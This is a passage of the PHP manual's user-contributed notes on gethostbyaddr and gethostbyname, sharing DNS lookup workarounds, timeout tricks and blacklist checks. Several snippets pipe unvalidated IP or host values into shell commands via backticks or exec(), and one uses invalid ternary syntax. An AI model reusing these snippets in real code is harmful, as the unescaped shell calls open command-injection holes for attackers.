You should be careful in the use of $_SERVER['HTTP_X_FORWARDED_FOR'], as I discovered, once using Amazon AWS's Elastic Load Balancer's, this value may be a comma separated list of IP addresses and will thusly not compare as conceived in almost every example I have seen posted by users in the comments.
dhjdhj at gmail dot com 25-Sep-2010 06:58
I have observed that there are problems with all approaches that use the existence of an IP address to verify that the name being looked up actually exists.

If you're using opendns, then a request to a non-existent server returns an IP address anyway, the address being one for an opendns server. This is process is presumably in place so that errant URLs in browser requests take you to a "legitimate" page, i.e, the openDNS website where they can notify you of a problem.

Unfortunately, that mechanism seems to occur for ANY non-existent hostname. Appending a single period to the hostname does not seem to help.
Stuart Macdonald 28-Aug-2010 05:07
Here's a simple function that uses Dig to obtain the hostname for a given IP address. If no hostname can be found it returns the IP again.

Works only on linux / unix, or whatever other platform with dig installed as a command line utility.

<?php
    function tryGetHost($ip)
    {
        $string = '';
        exec("dig +short -x $ip 2>&1", $output, $retval);
        if ($retval != 0)
        {
            // there was an error performing the command
        }
        else
        {
            $x=0;
            while ($x < (sizeof($output)))
            {
                $string.= $output[$x];
                $x++;
            }
        }

        if (empty($string))
            $string = $ip;
        else //remove the trailing dot
            $string = substr($string, 0, -1);

        return $string;
    }
?>
marco[DOT]ceppi[@T]seacrow[DOT]org 01-Nov-2009 07:24
Anonymous has a good point (though I don't agree with pushing to execution to shell unless I have to. However this is a faster example (explode then loop is a little too intensive for a simple check)

<?php
function gethost ($ip)
{
    //Make sure the input is not going to do anything unexpected
    //IPs must be in the form x.x.x.x with each x as a number

    if( preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.]
(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip) )
    {
        $host = `host $ip`;
        return (($host ? end ( explode (' ', $host)) : $ip));
    }
    else
    {
        return false;
    }
}
?>

Though to be honest I would use:

<?php
function gethost ($ip)
{
    return ( preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.]
(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip) ) ? gethostbyaddr($ip) : false;
}
?>
webmaster at askapache dot com 22-Oct-2008 01:57
Here is a simple function I compiled from user-notes that works great.. any improvements?

<?php
function get_ip( $host ){
  $hostip = @gethostbyname( $host );
  $ip = ( $hostip == $host ) ? $host : long2ip( ip2long( $hostip ) );
  //echo sprintf("Resolved %s to %s", $host, $ip);
  return $ip;
}
?>
robbakAgmail_com 05-Jun-2008 11:19
it appears that gethostbyname() fails if the domain name contains unicode. Example:

 $ host 10.10.10.128
128.10.10.10.in-addr.arpa domain name pointer PC-de-S\130bastien.flexi.robbak.com.
 $ php
<?php echo gethostbyaddr( '10.10.10.128' ); ?>
10.10.10.128

gethostbyaddr is listed as unicode compatable in version 6, so a fix may be in the works.
billyblue 17-Dec-2007 08:12
I just spent a dickens of a time trying to figure out why my gethostbyaddr's were simply failing halfway through.

I'm returning a log of page visits, and with each new IP, I wanted to pull the hostname of the IP. On each report page, I'm pulling 500 lines from my Db, but only maybe 25 IPs on average. Sometimes this report would generate in under 15 seconds, other times it would fail with a connection reset.

It turns out that several of the IPs in my Db looked like this: x.255.x.x. gethostbyaddr really hates that and simply dies when it reaches one of these IPs.

For my case, I purged the Db and prevented the logging of IPs that contain 255.
oryan at zareste dot com 28-Feb-2006 03:17
If all else fails, but you have shell access, Unix/Linux servers can use this for a timeout response:

shell_exec('host -W 2 0.0.0.0');

Where 0.0.0.0 is of course the IP, and '2' is the number of seconds for the timeout.  This returns a more detailed string of info, with some additional text which might vary depending on the system, so if you want a string with the hostname and nothing else, you'll have to do some substring cutting.  There should be an equivalent of 'host' for Windows users to execute, but it isn't my platform.
tom 07-Oct-2005 01:14
Be careful with the usage of this function - it will slow down a server to a crawl if called a lot and the slowness won't be reflected in any of the obvious places, like CPU usage, apache requests, SQL etc. When you do use it make a special note of where!
reinhard at ess dot co dot at 12-Apr-2005 02:27
tried out some of the examples below, but no one worked for me.
(
"host" returns something if domain-name wasn't found
"gethostbyaddr" has a too long  timeout when it fails
"the udp-example" returns some strange characters...
)
so i have changed the "host"-example a little bit. hope someone can need it. (maybe with little changes like without error-description)

<?
function gethost($ip)
{
   $host = `host $ip`;
   $host=end(explode(' ',$host));
   $host=substr($host,0,strlen($host)-2);
   $chk=split("\(",$host);
   if($chk[1]) return $ip." (".$chk[1].")";
   else return $host;
}
?>
king dot macro at gmail dot com 26-Oct-2004 07:28
The problem of broken DNS servers was causing me a problem because i had a page for user statistics that required around 20 reverse dns lookups to be done, and even as many as 5/6 of them being broken was causing a huge delay in loading the page. so i wrote a function that uses a UDP socket to talk directly to the DNS server (instead of going via the normal gethostbyaddr function) this let me set a timeout.

The only requirement is that your DNS server must be able to do recursive lookups, it wont go to other DNS servers if its told to... and of course you need to know your DNS servers IP address :-)

<?
function gethostbyaddr_timeout($ip, $dns, $timeout=1000)
{
    // random transaction number (for routers etc to get the reply back)
    $data = rand(0, 99);
    // trim it to 2 bytes
    $data = substr($data, 0, 2);
    // request header
    $data .= "\1\0\0\1\0\0\0\0\0\0";
    // split IP up
    $bits = explode(".", $ip);
    // error checking
    if (count($bits) != 4) return "ERROR";
    // there is probably a better way to do this bit...
    // loop through each segment
    for ($x=3; $x>=0; $x--)
    {
        // needs a byte to indicate the length of each segment of the request
        switch (strlen($bits[$x]))
        {
            case 1: // 1 byte long segment
                $data .= "\1"; break;
            case 2: // 2 byte long segment
                $data .= "\2"; break;
            case 3: // 3 byte long segment
                $data .= "\3"; break;
            default: // segment is too big, invalid IP
                return "INVALID";
        }
        // and the segment itself
        $data .= $bits[$x];
    }
    // and the final bit of the request
    $data .= "\7in-addr\4arpa\0\0\x0C\0\1";
    // create UDP socket
    $handle = @fsockopen("udp://$dns", 53);
    // send our request (and store request size so we can cheat later)
    $requestsize=@fwrite($handle, $data);

    @socket_set_timeout($handle, $timeout - $timeout%1000, $timeout%1000);
    // hope we get a reply
    $response = @fread($handle, 1000);
    @fclose($handle);
    if ($response == "")
        return $ip;
    // find the response type
    $type = @unpack("s", substr($response, $requestsize+2));
    if ($type[1] == 0x0C00)  // answer
    {
        // set up our variables
        $host="";
        $len = 0;
        // set our pointer at the beginning of the hostname
        // uses the request size from earlier rather than work it out
        $position=$requestsize+12;
        // reconstruct hostname
        do
        {
            // get segment size
            $len = unpack("c", substr($response, $position));
            // null terminated string, so length 0 = finished
            if ($len[1] == 0)
                // return the hostname, without the trailing .
                return substr($host, 0, strlen($host) -1);
            // add segment to our host
            $host .= substr($response, $position+1, $len[1]) . ".";
            // move pointer on to the next segment
            $position += $len[1] + 1;
        }
        while ($len != 0);
        // error - return the hostname we constructed (without the . on the end)
        return $ip;
    }
    return $ip;
}
?>

This could be expanded quite a bit and improved but it works and i've seen quite a few people trying various methods to achieve something like this so i decided to post it here. on most servers it should also be more efficient than other methods such as calling nslookup because it doesn't need to run external programs

Note: I'm more a C person than a PHP person, so just ignore it if anything hasn't been done the *recomended* way :-)
Matt AKA Junkie 14-Mar-2004 08:29
Going through numerous tests, the following results are concluded:

<?
// If you're using a server on Windows, this is faster
function getisp($ip='') {
   if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
   $longisp = @gethostbyaddr($ip);
   $isp = explode('.', $longisp);
   $isp = array_reverse($isp);
   $tmp = $isp[1];
   if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
       $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
   } else {
       $myisp = $isp[1].'.'.$isp[0];
   }
   if (preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp))
      return 'ISP lookup failed.';
   return $myisp;
}

// If your server is on a *nix system, this is faster
function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// be warned, however, that gethost() will issue a warning
// if safe mode is on with the use of backticked variables

?>
webmaster at script-tease dot net 14-Mar-2004 04:37
gethostbyaddr() tends to lag on various systems for whatever reason. Here are two functions that should prove their worth speedwise.

<?php
// For Linux...

function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// For Win32...

function nslookup ($ip) {
 $host = split('Name:',`nslookup $ip`);
 return ( trim (isset($host[1]) ? str_replace ("\n".'Address:  '.$ip, '', $host[1]) : $ip));
}
?>

Pretty basic, but it should get the job done.
Matt AKA Junkie 29-Feb-2004 04:11
Since my little ISP thing isn't globally acceptable, here's an update.

<?
function getisp($ip='') {
    if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
    $longisp = @gethostbyaddr($ip);
    $isp = explode('.', $longisp);
    $isp = array_reverse($isp);
    $tmp = $isp[1];
    if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
        $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
    } else {
        $myisp = $isp[1].'.'.$isp[0];
    }
    preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp) ? return 'ISP lookup failed.' : return $myisp;
}
?>
grimNOSPAMtraffic at hotNOSPAMmail dot com 31-Jul-2003 02:31
If you have found the host of the ip, the shortest way to cut it not to display the full hostname to the public would be:

$host = substr($host, strpos($host, ".") + 1);

P.S. strpos() can also be easily used if you want to put "*" for every simbol you ommit, like so:

$os = strpos($host, ".");
$host = substr($host, $os);
$host = str_repeat("*", $os) . $host;

--McTrafik
www.ad-rotator.com 28-Apr-2003 04:06
For ad-rotator.com, we need to do a lot of IP lookups, gethostbyaddr is very easy get timed-out and the script stucks there forever. Here is a fail-safe alternative, 1 sec max for timeout per IP.

function ar_gethostbyaddr($ip) {
  $output = `host -W 1 $ip`;
  if (ereg('.*pointer ([A-Za-z0-9.-]+)\..*',$output,$regs)) {
    return $regs[1];
  }
  return $ip;
}
jz at NOSPAM dot nplu dot kiev dot ua 11-Apr-2003 03:59
Just to fun that gethostbyadd() returns server machine name known in LAN rather then its DNS if I try to call it against my own host (from workstation), whether it would local (behind the proxy) or global (of proxy itself) IP or just loop 127.0.0.1.

And thus you can get LAN names of other workstations by its intranet IPs (I mean smth like 192.168.0.???)

Fun :)
kriek at jonkriek dot com 21-Mar-2003 08:39
In response to god at weaponzero dot f2s dot com: I found this much easier to write.

<?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $fullhost = gethostbyaddr($ip);
    $host = preg_replace("/^[^.]+./", "*.", $fullhost);
?>

IP address <?=$ip?> | Host: <?=$host?>

You can still protect the IP of your visitors and only show the hostname or show them both.
lukevb_at_iafrica.com 09-Nov-2002 02:43
Sometimes when using $_SERVER['HTTP_X_FORWARDED_FOR'] OR $_SERVER['REMOTE_ADDR'] more than 1 IP address is returned, for example '155.240.132.261, 196.250.25.120'. When this string is passed as an argument for gethostbyaddr() PHP gives the following error: Warning: Address is not a valid IPv4 or IPv6 address in...

To work around this I use the following code to extract the first IP address from the string and discard the rest. (If you wish to use the other IPs they will be in the other elements of the $ips array).

if (strstr($remoteIP, ', ')) {
    $ips = explode(', ', $remoteIP);
    $remoteIP = $ips[0];
}

Hope this helps someone :)
abe at abe2k dot net 07-Nov-2002 06:32
gethostbyaddr() doesn't seem to be able to resolve ip6.int
(ipv6) adresses, so I made a function that can, and works
just like the normal gethostbyaddr().

You need dig and ipv6calc, dig should come with most
distributions, if not, install bind from http://www.isc.org.
ipv6calc can be found at http://www.bieringer.de/linux/IPv6/ipv6calc/index.html.

 function gethostbyaddr6($ip6) {
  $ipv6calc = "/bin/ipv6calc";
  $dig = "/usr/bin/dig";
  $file = popen($ipv6calc." --in ipv6addr --out revnibbles.int ".escapeshellarg($ip6), r);
  $ip = fread($file, 128);
  pclose($file);
  if ((substr($ip, 0, 5) == "Error") || (!$ip)) return "Address is not a valid IPv6 address";
  $file = popen($dig." ptr ".$ip, r);
   while (!feof ($file)) {
    $buffer = fgets($file, 128);
    if (substr($buffer, 0, 1) == ";") continue;
    $buffer = explode(" ", $buffer);
    if ($buffer[3] == "PTR") {
     $host = substr(trim($buffer[4]), 0, -1);
     pclose($file);
     return $host;
    }
   }
  pclose($file);
  return $ip6;
 }

 echo gethostbyaddr6($_SERVER[REMOTE_ADDR]);
dominique at vdx dot nl 30-Sep-2002 05:14
To convert an IP to a numeric value, just use the ip2long (...) function.

Vice versa; use: long2ip (...)
pulstar at mail dot com 20-Sep-2002 02:59
If you need to store an IP addresses in a database, you can convert and store it in an INT type column (4 bytes). The functions below can convert IP addresses to its integer decimal value and vice-versa.

function ip2dec($ipaddr) {
  $base=explode(".",$ipaddr);
  $decimal=(double) $base[0]*16777216;
  $decimal+=$base[1]*65536;
  $decimal+=$base[2]*256;
  $decimal+=$base[3];
  if($decimal>2147483647) {
    $decimal-=4294967296;
  }
  return (int) $decimal;
}

function dec2ip($dec) {
  if($dec<0) {
    $dec=(double) 4294967296+$dec;
  }
  if($dec>16777215) {
    $ip=$dec-(intval($dec/256)*256);
    $dec=(double) intval($dec/256);
  } else $ip="0";
  if($dec>65535) {
    $ip=($dec-(intval($dec/256)*256)).".".$ip;
    $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  if($dec>255) {
    $ip=($dec-(intval($dec/256)*256)).".".$ip;
    $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  $ip=$dec.".".$ip;
  return (string) $ip;
}
alexey at ozerov dot de 15-Sep-2002 10:15
This function seems to be very slow on IIS 4.0 Server (Win32). I use system call to NSLOOKUP instead to get PC-Hostname:

unset ($execoutput);
exec ("nslookup $IPAdresse 2>nul",$execoutput,$nslookstatus);
if (isset ($execoutput[3]) && ereg ("^Name: *([A-Za-z0-9]{2,})\.",$execoutput[3],$regs))
$nslookname=strtoupper($regs[1]);
else $nslookname="Unknown";

Note by members: This is not portable to Windows platforms. so you would be better to stay with our function.
stephane at metacites dot net 10-Sep-2002 07:17
gethostbyaddr_with_cache()

As someone truely said upper in the forum, some unresolved addresses may slow down your script to the point it times out.

Althought I had thought gethostbyaddr() would use some kind of cache, it doesn't seem to when the IP is unresolved (at least on my win machine).

So, I've coded a little gethostbyaddr_with_cache() function that will greatly speed your page if you have many gethostbyaddr() to perform on the same page.

function gethostbyaddr_with_cache($a) {
  global $dns_cache;
  if ($dns_cache[$a]) {
    return $dns_cache[$a];
    } else {
    $temp = gethostbyaddr($a);
    $dns_cache[$a] = $temp;
    return $temp;
  }
    }
inny at core dot fetchnet dot org 10-Aug-2002 09:58
Turning on the HostnameLookup function on in the apache configuration file will severely increase the loading times of all the pages serviced by the httpd-server.
It's mostly a better idea to just use gethostbyaddr($REMOTE_ADDR); instead of $REMOTE_HOST if you turned HostnameLookups On, unless you want the hostnames specified in apache's log file...
ven at PragaKhan dot com 16-Jul-2002 03:55
$REMOTE_HOST or $_SERVER['REMOTE_HOST'] will give you the reversed ip IF apache is setup to do hostname lookups.

HostnameLookups On
elpmille at indiana dot edu 30-May-2002 12:26
I previously used something very similar to what god@weaponzero.f2s.com posted but found it to be quite tedious for getting the 'nicehost'. This method below is a lot cleaner, and it also works for numeric addresses.

function nicehost($host) {
    if (ereg('^([0-9]{1,3}\.){3}[0-9]{1,3}$', $host)) {
        return(ereg_replace('\.[0-9]{1,3}$', '.*', $host));
    } else {
        return(ereg_replace('^.{' . strpos($host, '.') . '}', '*', $host));
    }
}
nothanks at nospam dot com 16-May-2002 03:30
This is also very useful if you'd like to ban these annoying people that keep spamming your forums. It requires a clever use of mySql but can be great:

First, make a table for the bans, then make the query:

"SELECT banReason from tBans where '". gethostbyaddr($REMOTE_ADDR) ."' LIKE banMask"

If your results aren't null it means his host matched a banMask in your DB, so you can redirect him with header() to a banned.php page and prevent him from accessing any content on your page!
phalkon at nospam dot home dot com 08-Jun-2001 03:58
Be cautious when looking up many hostnames.  If your DNS server is slow to respond, you may have to pump up your Max execution time for your scripts, otherwise, it will timeout.  I found that even 3 unresolvable hosts can cause a 30 second delay in processing.
andy at occ dot nu 12-Jan-2001 06:48
if the user is sitting behind a proxy server, you can do this;

<?
    if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"] != ""){
        $IP = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
        $proxy = $HTTP_SERVER_VARS["REMOTE_ADDR"];
        $host = @gethostbyaddr($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]);
    }else{
        $IP = $HTTP_SERVER_VARS["REMOTE_ADDR"];
        $host = @gethostbyaddr($HTTP_SERVER_VARS["REMOTE_ADDR"]);
    }
?>

ps; i use $HTTP_SERVER_VARS["something"] instead of just $something;
you can get most of the $HTTP_SERVER_VARS by just using there $something equivalent, see the manual for that (preserved variables)


Получает IPv4-адрес, соответствующий переданному имени хоста

  • « gethostbyaddr
  • gethostbynamel »
  • PHP Manual
  • Сетевые функции
  • Получает IPv4-адрес, соответствующий переданному имени хоста

gethostbyname

(PHP 4, PHP 5, PHP 7, PHP 8)

gethostbyname — Получает IPv4-адрес, соответствующий переданному имени хоста

Описание

gethostbyname(string $hostname): string

Возвращает IPv4-адрес по имени хоста hostname.

Список параметров

hostname

Имя узла.

Возвращаемые значения

Возвращает адрес IPv4 или строку, содержащую неизмененный hostname в случае возникновения ошибки.

Примеры

Пример #1 Простой пример использования gethostbyname()

<?php
$ip = gethostbyname('www.example.com');

echo $ip;
?>

Смотрите также

  • gethostbyaddr() - Получает доменное имя хоста, соответствующее переданному IP-адресу
  • gethostbynamel() - Получает список IPv4-адресов, соответствующих переданному доменному имени хоста
  • inet_pton() - Конвертирует читаемый IP-адрес в его упакованное представление in_addr
  • inet_ntop() - Конвертирует упакованный интернет-адрес в читаемый формат

User Contributed Notes

hypolite at mrpetovan dot com 25-Jul-2023 01:47
Since 2015, the hostname parameter is arbitrarily limited to 255 characters to address CVE-2015-0235, probably to mirror RFC1035's octet limit on domain names.
seb dot gibbs at ymail dot com 22-Feb-2023 03:00
When using  gethostbynamel()  and  gethostbyname() together, you must do gethostbynamel() first, otherwise it will always give you one IP (or none) from the cache, and not return the full lookup.
gabriel at nexcore dot com dot br 10-Aug-2016 09:43
For the "dig" solution, here is a better one:

<?php
  $IP = `/usr/bin/dig $host. A +short | /usr/bin/tail -n1`
?>

Using tail because dig, even in the +short form, may return CNAME entries first, and also may return many, many entries (see "dig google.com").

Usig the dot at the end of the host to not perform domain searches.

This works also when $host = IP address already

Will return empty string in case o resolve failure (invalid hostname)
Dennis B. 15-Feb-2016 12:33
Options for the underlying resolver functions can be supplied by using the RES_OPTIONS environmental variable. (at least under Linux, see man resolv.conf)

Set timeout and retries to 1 to have a maximum execution time of 1 second for the DNS lookup:
<?php
  putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
  gethostbyname($something);
?>

You should also use fully qualified domain names ending in a dot. This prevents the resolver from walking though all search domains and retrying the domain with the search domain appended.
php at nemon dot be 17-Aug-2015 04:14
Always add the root . at the end or your server can add it's own suffix.
example: abc.com could become abc.com.yourcompany.com if you don't use abc.com.

I also find this function a litle bit limited because it doesn't tell you if the resolve failed.

TO adress all those issues I use :

function host2ip($host)
{
    $host=trim($host.'.'); // clean and add root .
    $ip= gethostbyname($host);
    if($ip==$host) $ip='';// empty IP if there is no ip
    return $ip;
}
devers 11-Dec-2014 05:37
This function says "Returns the IPv4 address or a string containing the unmodified hostname on failure.

This isn't entirely true, any hostname with a null byte in it will only return the characters BEFORE the null byte.

<?php
$hostname = "foo\0bar";
var_dump($hostname );
var_dump(gethostbyname($hostname ));
?>

Results:
string 'foo?bar' (length=7)
string 'foo' (length=3)
Ome Ko 16-Mar-2013 08:34
If you do a gethostbyname() and there is no trailing dot after a domainname that does not resolve, this domainname will ultimately be appended to the server-FQDN by nslookup.

So if you do a lookup for nonexistentdomainname.be your server may return the ip for nonexistentdomainname.be.yourhostname.com, which is the server-ip.

To avoid this behaviour, just add a trailing dot to the domainname; i.e. gethostbyname('nonexistentdomainname.be.')
Emmett Brosnan 01-Feb-2012 11:09
Grabbing IPs for multiple hosts:

<?php
function getAddrByHost($hosts, $timeout = 3) {
  $returnString = '';
  foreach ($hosts as $host) {
    $query = `nslookup -timeout=$timeout -retry=1 $host`;
    if (preg_match('/\nAddress: (.*)\n/', $query, $matches))
      $returnString .= trim($matches[1]) . '<br>';
    $returnString .= $host . '<br>';
  }
  return $returnString;

}

$hostArray[] = 'www.domain1.com';
$hostArray[] = 'www.domain2.com';
//$hostArray[] = 'www.domain3.com';
//$hostArray[] = 'www.domain4.com';

$returnString = getAddrByHost($hostArray);
echo $returnString;
?>
Alexandre (d) 17-Jul-2011 09:28
Important note: You should avoid its use in production.

DNS Resolution may take from 0.5 to 4 seconds, and during this time your script is NOT being executed.

Your customers may think that the server is slow, but actually it is just waiting for the DNS resolution response.

You can use it, but if you want performance, you should avoid it, or schedule it to some CRON script...
nirazuelos at gmail dot com 12-Aug-2009 08:52
This is the best method I've come up with to resolve any host-name to ip-address, it's quick and reliable and has support for timeout! An invalid address, a unicode string for exmaple, returns after 4~ seconds, instead of 8~ with gethostbyname! It works only with unix though.

<?php
function getAddrByHost($host, $timeout = 3) {
   $query = `nslookup -timeout=$timeout -retry=1 $host`;
   if(preg_match('/\nAddress: (.*)\n/', $query, $matches))
      return trim($matches[1]);
   return $host;
}
?>
manalejandro at gmail dot com 24-May-2008 08:59
This logic solution to problem checking dns reverse name resolution:

<?php
$ip = gethostbyname($host);
if(ip2long($ip) == -1 || ($ip == gethostbyaddr($ip) && preg_match("/.*\.[a-zA-Z]{2,3}$/",$host) == 0) ) {
    echo 'Error, incorrect host or ip';
    }
else {
    echo 'Ok';
}
?>
geoff at spacevs dot com 05-Dec-2007 07:37
I put this in a prepend script for all my websites to cut down the amount of abuse by automated scripts.
<?PHP
        $blacklists = array('web.sorbs.net');
        $parts  = explode('.', $_SERVER['REMOTE_ADDR']);
        $ip     = implode('.', array_reverse($parts)) . '.';
        foreach($blacklists as $bl) {
                $check = $ip . $bl;
                if ($check != gethostbyname($check)) {
                                error_log('PHP Security: [DNSBL] - ' . $_SERVER['REMOTE_ADDR'] . ' - ' . $bl);
                                die('Put a detailed error here so the client knows why they have been blocked');
                }
        }
?>
Florian Holzhauer 12-Sep-2007 03:02
If name resolution fails with apache2, mod_chroot and php5, add
LoadFile /lib/libnss_dns.so.2
to the mod_chroot config.
guwapo at thedoghouse dot bz 07-Sep-2007 08:25
referring to ralphbolton at mail2sexy dot com comment:

(at least in 5.2.0 + djbdns-dnscache) gethostbyname does not really seem to cache entries. If somebody notices a speed-up after the second lookup of the same domain - that's most likely your dns-cache itself, not some php-internal dns-cache.

It does cache the entries in your /etc/resolv.conf (e.g. what dns to use) so I agree with him, that stopping and starting apache, will reload the resolv.conf.
von at student dot chalmers dot se 20-Jul-2007 03:50
When using PHP and Apache in a chroot environment on RedHat Linux, I have found that I need to bind-mount /var/run/nscd to get this to work. Apparently, the socket in that directory is needed for all the DNS things.
Josh Finlay josh at glamourcastle dot com 04-Nov-2006 06:55
gethostbyname and gethostbynamel does not ask for AAAA records. I have written two functions to implement this. gethostbyname6 and gethostbynamel6. I don't believe this issue has been addressed yet.

They are made to replace gethostbyname[l], in a way that if $try_a is true, if it fails to get AAAA records it will fall back on trying to get A records.

Feel free to correct any errors, I realise that it is asking for *both* A and AAAA records, so this means two DNS calls.. probably would be more efficient if it checked $try_a before making the query, but this works for me so I'll leave that up to someone else to implement in their own work.. the tip is out there now anyway..

Here is the code:

    function gethostbyname6($host, $try_a = false) {
        // get AAAA record for $host
        // if $try_a is true, if AAAA fails, it tries for A
        // the first match found is returned
        // otherwise returns false

        $dns = gethostbynamel6($host, $try_a);
        if ($dns == false) { return false; }
        else { return $dns[0]; }
    }

    function gethostbynamel6($host, $try_a = false) {
        // get AAAA records for $host,
        // if $try_a is true, if AAAA fails, it tries for A
        // results are returned in an array of ips found matching type
        // otherwise returns false

        $dns6 = dns_get_record($host, DNS_AAAA);
        if ($try_a == true) {
            $dns4 = dns_get_record($host, DNS_A);
            $dns = array_merge($dns4, $dns6);
        }
        else { $dns = $dns6; }
        $ip6 = array();
        $ip4 = array();
        foreach ($dns as $record) {
            if ($record["type"] == "A") {
                $ip4[] = $record["ip"];
            }
            if ($record["type"] == "AAAA") {
                $ip6[] = $record["ipv6"];
            }
        }
        if (count($ip6) < 1) {
            if ($try_a == true) {
                if (count($ip4) < 1) {
                    return false;
                }
                else {
                    return $ip4;
                }
            }
            else {
                return false;
            }
        }
        else {
            return $ip6;
        }
    }
chris at chollis dot net 15-Oct-2006 10:57
mmucklo raises a valid point, however the function to use would be getmxrr() in the simplest case, or alternatively checkdnsrr() if you so wish; getdnsrr() does not exist.

On another note, it can be a pain (when iterating with while loops for example) that on failure gethostbyname() returns the hostname, rather than FALSE. You could wrap it in a simple user function, to "correct" this:

<?php

function fixed_gethostbyname ($host) {
    // Try the lookup as normal...
    $ip = gethostbyname($host);
    // ...but if it fails, FALSE is returned instead of the unresolved host
    if ($ip != $host) { return $ip; } else return false;
}

?>
Peter <toomuchphp-phpman at yahoo dot com> 05-Sep-2006 06:33
One way to discover your IP address automatically:

<?php

// need to trim() because whitespace will confuse the name lookup
$myIP = gethostbyname(trim(`hostname`));
echo $myIP;

?>
mmucklo at yahoo dot com 16-Aug-2006 11:05
One note about using gethostbyname() for checking email address domains:

If the name doesn't resolve, follow up with getdnsrr() and make sure they don't have an MX entry before returning an error.

It is possible for a domain name not to have an A record, but still have an MX entry.
Marc M 08-Aug-2006 08:33
Just a heads up. I was using this function on my site to verify email host addresses. I thought all was good, until a potential client contacted me and said they couldn't sign up correctly. They have a valid email address and domain, but this function failed.

Good luck.
ralphbolton at mail2sexy dot com 06-Apr-2006 01:10
On a side-note, PHP (5.0.4, but probably other versions too) can cache gethostbyname information.

In short, once PHP looks up an address, it may not actually perform another lookup as you may expect. In my particular case (I think) the problem was a change to resolv.conf didn't take effect inside PHP (although nslookup/ping etc worked fine). Stop/Starting Apache fixed it (although a simple 'restart' (kill -HUP) didn't).

In short, if you change resolv.conf, stop and restart Apache.
ivan[DOT]pirog[AT]gmail[DOT]com 14-Mar-2006 06:57
Function returns boolean:
<?php
function isDomainResolves($domain)
{
     return gethostbyname($domain) != $domain;
}
?>
mcgrof at gmail dot com 21-Oct-2005 09:10
Better yet:
<?php
$ip = rtrim(`/usr/bin/dig $host A +short`);
?>
mcgrof at gmail dot com 21-Oct-2005 09:05
In PHP4 you can use gethostbyname() but I have found this unreliable when doing lookups on entries that return A records on the private network. PHP5 has a much better routine -- dns_get_record(). If you are stuck with PHP4 or don't want to upgrade you can use dig:

<?php
$ip = `/usr/bin/dig $host A +short`;
?>
tabascopete78 at yahoo dot com 18-Aug-2005 12:29
I was using file_get_contents on a set of URLs. Some of them URLs were invalid (the structure of it was ok but the DNS hosts couldn't resolve them) and I kept getting an annoying warning. I wanted to check the DNS somehow but existing check dns function in php doesn't have one for windows and the one a person supplied there does not work 100% of the time.

Instead use this function to try to resolve a host. This won't throw any warnings, you just need to check the output. You'll get the same warnings with fopen and fsockopen.
cox at idecnet dot com 26-Dec-2004 12:15
For doing basic RBL (Real Time Blacklist) lookups with this function do:

<?php
$host = '64.53.200.156';
$rbl  = 'sbl-xbl.spamhaus.org';
// valid query format is: 156.200.53.64.sbl-xbl.spamhaus.org
$rev = array_reverse(explode('.', $host));
$lookup = implode('.', $rev) . '.' . $rbl;
if ($lookup != gethostbyname($lookup)) {
    echo "ip: $host is listed in $rbl\n";
} else {
    echo "ip: $host NOT listed in $rbl\n";
}
?>

Tomas V.V.Cox
Vincent 14-Jul-2004 09:14
Note that if you pass an IP address to gethostbyname() it will return that IP address.
30-Mar-2004 02:49
The dns entries get cached, whether they exist or not.  Expect really good response times after the first one.
christian at SPAM at IS at DEAD at MEAT at karg dot org 01-Apr-2003 04:12
I had difficulty getting gethostbyname to work under OpenBSD 3.2 and Apache, until I discovered that the default Apache chroot caused the problem.

To get PHP's gethostbyname to work, you need resolv.conf (and possibly hosts) in /var/www/etc (assuming default install dirs).
tonyhana at sixzeros dot com 04-Jul-2002 07:43
<?php
//script to time DNS propagation
//(Above script modified slightly to show micro time)
//seems pretty damn quick to me.. I'm getting .0055 sec worstcase badhost times.

//A known good dns name (my own)
    $nametotest = "fuzzygroup.com";

//Call address test function
    $time_start = getmicrotime();
    testipaddress($nametotest);
    $time_end = getmicrotime();
    $time = $time_end - $time_start;
    echo "Good Host Search took $time seconds<br><br>";

//A known bad name (trust me)
    $nametotest = "providence.mascot.com";
    $time_start = getmicrotime();
    testipaddress($nametotest);
    $time_end = getmicrotime();
    $time = $time_end - $time_start;
    echo "Bad Host Search took $time seconds<br>";

function getmicrotime(){
    list($usec, $sec) = explode(" ",microtime());
    return ((float)$usec + (float)$sec);
    }

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
    $ipaddress = $nametotest;
    $ipaddress = gethostbyname($nametotest);
    if ($ipaddress == $nametotest) {
        echo "No ip address for host<br>";
    }
    else {
        echo "good hostname, $nametotest ipaddress = $ipaddress<br>";
    }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>
sjohnson at fuzzygroup dot com 16-Mar-2002 10:27
<?php

//script to see if host exists on Internet

//following up on the above point about host name
//checking and SQL timeouts, run this test script
//and see how long it takes for 2nd call to
//hostname check to fail
//NOTE -- not PHP's fault -- nature of DNS

//A known good dns name (my own)
    $nametotest = "fuzzygroup.com";

//Call address test function
    testipaddress($nametotest);

//A known bad name (trust me)
    $nametotest = "providence.mascot.com";
//Call address test function
    testipaddress($nametotest);

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
    $ipaddress = $nametotest;
    $ipaddress = gethostbyname($nametotest);
    if ($ipaddress == $nametotest) {
        echo "No ip address for host, so host "
             . "not currently available in DNS and "
